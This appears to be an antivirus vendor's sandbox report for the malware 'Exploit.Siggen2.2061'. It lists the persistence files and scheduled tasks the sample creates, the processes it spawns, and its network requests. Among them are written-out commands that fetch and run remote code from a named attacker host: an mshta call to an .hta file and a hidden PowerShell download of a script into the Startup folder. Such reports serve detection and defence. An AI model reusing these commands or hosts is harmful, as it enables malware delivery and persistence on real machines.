Exploit.Siggen2.2061

Technical Information

To ensure autorun and distribution

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\cruelty.js
%APPDATA%\microsoft\windows\start menu\programs\startup\system.lnk
<SYSTEM32>\tasks\e34907c4fd2c9f641cf0e32874acac87
<SYSTEM32>\tasks\yxq0xjp4
<SYSTEM32>\tasks\wiqm3tnu
<SYSTEM32>\tasks\neetqo3n
<SYSTEM32>\tasks\llim2cnm
<SYSTEM32>\tasks\a2zck15x
<SYSTEM32>\tasks\4w3tijyu
<SYSTEM32>\tasks\kzal0dgu
<SYSTEM32>\tasks\a1gkt5qz
<SYSTEM32>\tasks\hk3uspau
<SYSTEM32>\tasks\4obza4cw

Malicious functions

Downloads and executes files.

Executes the following (exploit)

'%WINDIR%\syswow64\cmd.exe' /c mshta http://cn####8.tmweb.ru/blue26.hta
'<SYSTEM32>\wscript.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Cruelty.js"

Modifies file system

Creates the following files

%APPDATA%\test.exe
C:\totalcmd\language\csc60df.tmp
%TEMP%\ovi1sjiz.out
%TEMP%\ovi1sjiz.cmdline
%TEMP%\ovi1sjiz.0.cs
%ProgramFiles%\npavtray\wudfhost.exe
%TEMP%\res5b81.tmp
%TEMP%\res60e0.tmp
%ProgramFiles%\npavtray\csc5b80.tmp
%TEMP%\xdcut1yq.cmdline
%TEMP%\xdcut1yq.0.cs
%TEMP%\xpollupn.out
%TEMP%\xpollupn.cmdline
%TEMP%\xpollupn.0.cs
%HOMEPATH%\recent\system.exe
%TEMP%\xdcut1yq.out
%TEMP%\rqz3vhg4.out
%TEMP%\res708f.tmp
%TEMP%\nbzv5eez.cmdline
C:\far2\addons\setup\csc708e.tmp
%TEMP%\mc55suc2.out
%TEMP%\mc55suc2.cmdline
%TEMP%\mc55suc2.0.cs
<Current directory>\svchost.exe
%TEMP%\res6bad.tmp
%TEMP%\res5268.tmp
<Current directory>\csc6b9d.tmp
%TEMP%\rqz3vhg4.cmdline
%TEMP%\rqz3vhg4.0.cs
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csrss.exe
%TEMP%\res669c.tmp
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csc669b.tmp
%TEMP%\nbzv5eez.out
C:\totalcmd\language\svchost.exe
%TEMP%\nbzv5eez.0.cs
%HOMEPATH%\recent\csc5267.tmp
%TEMP%\vqtawa1g.0.cs
%TEMP%\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
%TEMP%\dclib\antivm.dclib
%TEMP%\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
%APPDATA%\windows\system.lnk
%APPDATA%\windows\system.vbe
%APPDATA%\windows\win.exe
C:\perflogs\admin\04t2yvs0\win.exe
%APPDATA%\windows\vmcheck32.dll
%APPDATA%\windows\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
%APPDATA%\windows\dclib\antivm.dclib
%APPDATA%\windows\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
%APPDATA%\windows\ykf3fucrtmjajnj2vpfjjhslntgkon.bat
%APPDATA%\windows\mlpi9mkdzgqevbpwj4jccu3ozakcm7.vbs
%APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe
%APPDATA%\windows\c83sauttyw95kev4p9ukfca1xct1oy.bat
%TEMP%\5sc1ngjz.out
%TEMP%\biagcnjm.cmdline
%TEMP%\vqtawa1g.cmdline
%TEMP%\biagcnjm.0.cs
%TEMP%\tk1zvugi.out
%TEMP%\tk1zvugi.cmdline
%TEMP%\tk1zvugi.0.cs
C:\far2\encyclopedia\tap\firefox.exe
%TEMP%\res4a89.tmp
%TEMP%\biagcnjm.out
C:\far2\encyclopedia\tap\csc4a88.tmp
%TEMP%\5sc1ngjz.cmdline
%TEMP%\5sc1ngjz.0.cs
%ProgramFiles(x86)%\windows photo viewer\en-us\iexplore.exe
%TEMP%\res4345.tmp
%ProgramFiles(x86)%\windows photo viewer\en-us\csc4344.tmp
%TEMP%\vqtawa1g.out
C:\perflogs\admin\04t2yvs0\vmcheck32.dll
C:\far2\addons\setup\svchost.exe

Deletes the following files

%TEMP%\res4345.tmp
%TEMP%\res60e0.tmp
C:\totalcmd\language\csc60df.tmp
%TEMP%\ovi1sjiz.out
%TEMP%\ovi1sjiz.cmdline
%TEMP%\ovi1sjiz.0.cs
%TEMP%\res669c.tmp
C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csc669b.tmp
%TEMP%\nbzv5eez.cmdline
%TEMP%\tk1zvugi.0.cs
%TEMP%\nbzv5eez.out
%TEMP%\res6bad.tmp
<Current directory>\csc6b9d.tmp
%TEMP%\rqz3vhg4.cmdline
%TEMP%\rqz3vhg4.0.cs
%TEMP%\rqz3vhg4.out
%TEMP%\res708f.tmp
C:\far2\addons\setup\csc708e.tmp
%TEMP%\mc55suc2.cmdline
%TEMP%\xdcut1yq.0.cs
%TEMP%\xdcut1yq.out
%TEMP%\xdcut1yq.cmdline
%ProgramFiles%\npavtray\csc5b80.tmp
%TEMP%\res5b81.tmp
%TEMP%\vqtawa1g.0.cs
%TEMP%\vqtawa1g.out
%TEMP%\vqtawa1g.cmdline
%TEMP%\res4a89.tmp
C:\far2\encyclopedia\tap\csc4a88.tmp
%TEMP%\5sc1ngjz.out
%TEMP%\5sc1ngjz.cmdline
%TEMP%\5sc1ngjz.0.cs
%TEMP%\mc55suc2.0.cs
%TEMP%\nbzv5eez.0.cs
%TEMP%\tk1zvugi.cmdline
%TEMP%\res5268.tmp
%HOMEPATH%\recent\csc5267.tmp
%TEMP%\biagcnjm.out
%TEMP%\biagcnjm.0.cs
%TEMP%\biagcnjm.cmdline
%TEMP%\xpollupn.cmdline
%TEMP%\xpollupn.out
%TEMP%\xpollupn.0.cs
%ProgramFiles(x86)%\windows photo viewer\en-us\csc4344.tmp
%TEMP%\tk1zvugi.out
%TEMP%\mc55suc2.out

Network activity

TCP

HTTP GET requests

http://cn####8.tmweb.ru/blue26.hta
http://cn####8.tmweb.ru/Cruelty.js
http://cn####8.tmweb.ru/windows.exe
http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?03...
http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?54...
http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/zgo6qt/6e43f762cba4b86bc0c491b86ddeed9e.php?1e#...
http://ip##fo.io/ip

UDP

DNS ASK cn####8.tmweb.ru
DNS ASK ip##fo.io

Miscellaneous

Searches for the following windows

ClassName: 'EDIT' WindowName: ''

Creates and executes the following

'C:\far2\addons\setup\svchost.exe'
'%APPDATA%\windows\win.exe'
'C:\totalcmd\language\svchost.exe'
'C:\far2\encyclopedia\tap\firefox.exe'
'%ProgramFiles(x86)%\windows photo viewer\en-us\iexplore.exe'
'%ProgramFiles%\npavtray\wudfhost.exe'
'%HOMEPATH%\recent\system.exe'
'C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csrss.exe'
'%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\System.vbe"
'%APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe' -pfe269a32d6ea191305070eac6a20af987ddbebea
'<Current directory>\svchost.exe'
'%APPDATA%\test.exe'
'%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\MLPi9MKdzgQeVBPWJ4jCCU3oZaKCM7.vbs"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5268.tmp" "%HOMEPATH%\Recent\CSC5267.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rqz3vhg4.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES669C.tmp" "c:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\CSC669B.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nbzv5eez.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES60E0.tmp" "c:\totalcmd\LANGUAGE\CSC60DF.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xdcut1yq.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mc55suc2.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6BAD.tmp" "<Current directory>\CSC6B9D.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5B81.tmp" "%ProgramFiles%\npavtray\CSC5B80.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ovi1sjiz.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vqtawa1g.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tk1zvugi.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A89.tmp" "c:\Far2\Encyclopedia\tap\CSC4A88.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5sc1ngjz.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4345.tmp" "%ProgramFiles(x86)%\Windows Photo Viewer\en-US\CSC4344.tmp"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xpollupn.cmdline"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -command try{$down = New-Object System.Net.WebClient;$url = 'HTTP:/'+'/'+'cn23428.tmweb.ru/Cruelty.js';$file = $env:appdata + '\Microsoft\Windows\Sta...' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\biagcnjm.cmdline"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES708F.tmp" "c:\Far2\Addons\SetUp\CSC708E.tmp"' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c mshta http://cn####8.tmweb.ru/blue26.hta' (with hidden window)

Executes the following

'%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6BAD.tmp" "<Current directory>\CSC6B9D.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rqz3vhg4.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES669C.tmp" "c:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\CSC669B.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nbzv5eez.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES60E0.tmp" "c:\totalcmd\LANGUAGE\CSC60DF.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ovi1sjiz.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5B81.tmp" "%ProgramFiles%\npavtray\CSC5B80.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xdcut1yq.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xpollupn.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5268.tmp" "%HOMEPATH%\Recent\CSC5267.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\biagcnjm.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tk1zvugi.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A89.tmp" "c:\Far2\Encyclopedia\tap\CSC4A88.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5sc1ngjz.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4345.tmp" "%ProgramFiles(x86)%\Windows Photo Viewer\en-US\CSC4344.tmp"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vqtawa1g.cmdline"
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "
'%WINDIR%\syswow64\mshta.exe' http://cn####8.tmweb.ru/blue26.hta
'%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mc55suc2.cmdline"
'%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES708F.tmp" "c:\Far2\Addons\SetUp\CSC708E.tmp"

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial